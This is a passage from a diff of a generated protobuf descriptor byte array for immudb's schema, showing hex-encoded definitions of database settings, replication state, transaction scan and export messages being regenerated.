0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, - 0xc0, 0x03, 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, - 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x1c, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, - 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, - 0x12, 0x22, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, - 0x6d, 0x65, 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, - 0x69, 0x73, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, - 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, + 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, + 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, + 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, + 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, + 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, + 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, + 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, + 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, + 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, + 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, + 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, + 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, + 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, + 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, + 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, + 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, + 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, + 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, + 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, + 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, + 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, + 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, + 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, + 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, + 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, + 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, + 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, + 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, + 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, + 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, + 0x64, 0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, - 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, - 0x74, 0x65, 0x64, 0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, - 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 